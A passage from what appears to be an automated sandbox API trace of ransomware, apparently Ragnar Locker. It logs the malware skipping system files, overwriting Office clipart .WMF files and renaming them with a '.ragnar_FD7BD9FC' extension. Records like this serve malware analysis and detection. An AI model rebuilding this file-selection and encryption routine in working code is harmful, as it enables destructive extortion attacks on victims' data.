lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.948] VirtualAlloc (lpAddress=0x0, dwSize=0x1484, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.948] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.948] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.948] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1484, lpOverlapped=0x0) returned 1 [0085.949] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.949] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1484, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.949] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1484, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1484, lpOverlapped=0x0) returned 1 [0085.949] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1484, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.949] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.949] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.949] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.949] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.949] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.950] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.950] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.950] GetProcessHeap () returned 0x580000 [0085.950] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.950] CloseHandle (hObject=0xf4) returned 1 [0085.950] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" [0085.950] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.ragnar_FD7BD9FC" [0085.950] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.950] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0085.951] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.951] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199483.WMF" | out: lpString1="J0199483.WMF") returned="J0199483.WMF" [0085.951] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned=".WMF" [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="autorun.inf") returned 1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="boot.ini") returned 1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="bootfont.bin") returned 1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="bootsect.bak") returned 1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="bootmgr") returned 1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="bootmgr.efi") returned 1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="bootmgfw.efi") returned 1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="desktop.ini") returned 1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="iconcache.db") returned 1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="ntldr") returned -1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="ntuser.dat") returned -1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="ntuser.dat.log") returned -1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="ntuser.ini") returned -1 [0085.951] lstrcmpiW (lpString1="J0199483.WMF", lpString2="thumbs.db") returned -1 [0085.951] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.951] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.951] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.951] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.951] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.951] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.951] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf")) returned 0x20 [0085.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.952] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10164) returned 1 [0085.952] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.952] GetProcessHeap () returned 0x580000 [0085.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.952] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.954] VirtualAlloc (lpAddress=0x0, dwSize=0x27b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.954] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.954] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.954] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x27b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x27b4, lpOverlapped=0x0) returned 1 [0085.955] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.955] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.955] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x27b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x27b4, lpOverlapped=0x0) returned 1 [0085.955] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.955] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.955] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.955] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.955] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.955] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.955] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.956] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.956] GetProcessHeap () returned 0x580000 [0085.956] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.956] CloseHandle (hObject=0xf4) returned 1 [0085.956] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" [0085.956] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.ragnar_FD7BD9FC" [0085.956] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.956] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0085.956] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.956] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199609.WMF" | out: lpString1="J0199609.WMF") returned="J0199609.WMF" [0085.956] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned=".WMF" [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="autorun.inf") returned 1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="boot.ini") returned 1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="bootfont.bin") returned 1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="bootsect.bak") returned 1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="bootmgr") returned 1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="bootmgr.efi") returned 1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="bootmgfw.efi") returned 1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="desktop.ini") returned 1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="iconcache.db") returned 1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="ntldr") returned -1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="ntuser.dat") returned -1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="ntuser.dat.log") returned -1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="ntuser.ini") returned -1 [0085.957] lstrcmpiW (lpString1="J0199609.WMF", lpString2="thumbs.db") returned -1 [0085.957] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.957] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.957] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.957] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.957] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.957] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.957] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf")) returned 0x20 [0085.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.958] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12332) returned 1 [0085.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3023, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.958] GetProcessHeap () returned 0x580000 [0085.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.958] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.959] VirtualAlloc (lpAddress=0x0, dwSize=0x302c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.959] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x302c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x302c, lpOverlapped=0x0) returned 1 [0085.960] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.961] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x302c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.961] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x302c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x302c, lpOverlapped=0x0) returned 1 [0085.961] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x302c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.961] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.961] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x302c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.961] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.961] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.961] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.961] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.961] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.961] GetProcessHeap () returned 0x580000 [0085.961] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.961] CloseHandle (hObject=0xf4) returned 1 [0085.962] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" [0085.962] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.ragnar_FD7BD9FC" [0085.962] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0085.962] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.962] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200151.WMF" | out: lpString1="J0200151.WMF") returned="J0200151.WMF" [0085.962] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned=".WMF" [0085.962] lstrcmpiW (lpString1="J0200151.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.962] lstrcmpiW (lpString1="J0200151.WMF", lpString2="autorun.inf") returned 1 [0085.962] lstrcmpiW (lpString1="J0200151.WMF", lpString2="boot.ini") returned 1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="bootfont.bin") returned 1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="bootsect.bak") returned 1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="bootmgr") returned 1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="bootmgr.efi") returned 1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="bootmgfw.efi") returned 1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="desktop.ini") returned 1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="iconcache.db") returned 1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="ntldr") returned -1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="ntuser.dat") returned -1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="ntuser.dat.log") returned -1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="ntuser.ini") returned -1 [0085.963] lstrcmpiW (lpString1="J0200151.WMF", lpString2="thumbs.db") returned -1 [0085.963] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.963] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.963] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.963] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.963] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.963] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.963] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf")) returned 0x20 [0085.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.964] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8196) returned 1 [0085.964] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ffb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.964] GetProcessHeap () returned 0x580000 [0085.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.964] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.966] VirtualAlloc (lpAddress=0x0, dwSize=0x2004, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.966] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.966] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.966] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2004, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2004, lpOverlapped=0x0) returned 1 [0085.967] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: 